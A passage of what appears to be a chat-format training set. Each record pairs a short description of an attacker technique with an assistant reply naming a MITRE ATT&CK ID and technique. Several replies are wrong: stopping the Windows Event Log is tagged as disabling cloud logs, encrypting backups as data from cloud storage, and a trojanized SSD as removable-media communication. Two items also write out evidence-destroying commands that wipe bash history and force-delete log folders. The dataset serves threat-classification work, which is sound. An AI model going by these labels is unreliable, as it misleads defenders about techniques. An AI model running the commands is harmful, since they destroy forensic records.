                "content": "The intrusion team forces the target system to generate keys with a shortened key space, enabling faster brute‑force attacks."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses tools to scrape public digital certificate repositories to find exposed domain names."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload encrypts its strings and only decrypts them after confirming no debugger is attached."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant uses domain name system tunneling to communicate with its command and control servers, bypassing traditional network defenses."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the threat actor runs \"cat /dev/null > ~/.bash_history\" to wipe the command history file."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses HTML smuggling to bypass network defenses by serving a malicious .html file that reconstructs a malicious DLL using JavaScript and loads it via ActiveX."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group harvests credential leaks from public Telegram groups by scraping chat messages for passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a hijacked DigitalOcean API token to create a droplet for hosting phishing sites."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scheduled task, the attacker invoked PowerShell to modify registry key permissions for persistence."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected JavaScript code into a web page to execute commands in the victim's browser environment."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses OSINT tools to query search engines and domain registries, extracting employee email addresses from the target organization."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delete Windows network connection history and purge command shell history to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a PowerShell command 'Remove-Item -Path \"C:\\ProgramData\\Logs\\*\" -Recurse -Force' to eliminate log files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the `Domain` attribute of the `TrustDomain` objects via ADSI Edit to discover external trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs wireless network discovery by scanning for broadcasted beacons from nearby routers."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability to dump the KeePass password database from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized user enumerates repository metadata and downloads source archives via the GitHub API."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates SNMP services on the network to map devices and their roles."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the APC injection technique, the threat actor injects a DLL into a running service process, causing code execution when the APC is delivered."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware steals SSH private keys from a compromised server and uses them to log into other hosts."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses OSINT to identify third‑party vendors and partners that may expose the target to supply‑chain risk."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant pulls the contents of the Windows registry hives related to network configuration."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used compromised API keys to list and download objects from a private S3 bucket containing customer data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing RDP's clipboard redirection, the attacker transferred files between the compromised host and their own system."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors rent virtual private servers in multiple regions to distribute their payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set enumerates the Windows Mail app’s local mail folder and extracts all .eml files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases code signing certificates from a fraudulent certificate authority to make malware appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan injects code into the LSASS process and hooks the LsaLogonUser function to exfiltrate credential data."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor checks for common debugging tools like OllyDbg or x64dbg by scanning running processes and self‑terminates if they are present."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group manipulates the Windows boot manager to enforce Safe Mode on the next boot, reducing the effectiveness of security software."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor distributes a trojanized external SSD that, when connected, modifies system boot settings to install a rootkit."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables the Windows Event Log service to prevent logging of subsequent malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the AutoElevate feature in certain Windows services by triggering a process that automatically presents an elevation prompt, which the victim approves, escalating the malware's privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant is spread through drive-by downloads, where users are tricked into visiting malicious websites that exploit vulnerabilities in web browsers or plugins."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker programs a rule that filters out all messages containing the keyword 'password' and stores them in a folder that is not indexed, effectively concealing them from the user."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employed a fake package manager (e.g., npm, pip) to deliver a trojan disguised as a legitimate library update."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise where the attacker modifies source code, rebuilds the application, and signs it with the original developer's certificate before distribution."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the COR_PROFILER variable in the system environment to point to a custom profiler that runs their code."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable password manager application to retrieve stored master passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables the syslog daemon on Linux to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages legitimate system restore tools to revert the machine to a prior image, re-enabling disabled services."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable installer to create a system service that loads malicious code on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that is base64‑encoded within a PowerShell one‑liner, which the script decodes at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker initiates a data wiping routine that overwrites each sector of the hard drive multiple times."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new VPS under a fake identity to avoid linking the server to known malicious IPs."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee account sends a spearphishing message to the finance team, containing a ransomware‑laden attachment."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an exploit kit to target outdated Java installations on visitors to a compromised site."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employed the msiexec binary to silently install a malicious component, using the system binary proxy execution method to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor used Microsoft 365 Admin Center remote management features to control user workstations remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a routine that clears the ARP cache and deletes saved network profiles from the registry."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group spent cryptocurrency to acquire detailed technical specifications of a target’s proprietary encryption algorithm."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the SPI flash memory to flash compromised firmware, enabling code execution in the pre‑OS environment."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes outbound connections using UDP port 53, masquerading as DNS traffic to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware exploits the WebAuthenticationBroker API on Windows to capture credentials entered in web-based login forms."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use data encryption on backup storage to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email with a seemingly legitimate PDF attachment includes a hyperlink that, when clicked, opens a phishing webpage designed to harvest OAuth tokens."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a mobile device, the adversary extracts the OAuth refresh token saved in the app's secure storage to persistently access the user’s account."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses LDAP searches to locate privileged accounts in Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages internal DNS queries and SNMP walks to map the organization's network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed GCP Secret Manager using a leaked service account JSON file to obtain OAuth client secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised serverless function in AWS AppSync to manipulate GraphQL queries for data theft."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By flashing a compromised UEFI module, the threat actor ensures persistence that runs prior to OS startup."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses the Windows 'SeCreateTokenPrivilege' to create a new token with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts saved passwords from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant reads the last input timestamp via GetLastInputInfo and delays execution if the value indicates no user activity for more than five minutes."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Windows API calls to set the parent process ID of its payload to mimic a trusted service, breaking the normal process tree structure."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a rogue executable to a folder that appears earlier in the system's PATH variable, resulting in the execution of the malicious file when a legitimate command is invoked."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the file association for .exe files to a hidden malicious binary, the attacker ensures their payload runs whenever any executable is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls CreateProcessAsUser with a forged token derived from a compromised user's credentials to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a malicious USB device on the target machine to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages LNK icon smuggling by embedding malicious code within the icon resources of a shortcut, which runs when the user views the file in Explorer."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a homegrown LZW compression combined with a custom base64 variant to transmit data."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installed a VNC server on the victim machine and used a remote VNC client to take full desktop control."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a malicious PowerShell script by proxying through Verclsid.exe, thereby masking the true source of the execution."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swapped the original cryptographic tool binary with a malicious version that logs encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During system boot, a malicious init script loads a rogue PAM module that captures the root password entered at the console and sends it via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
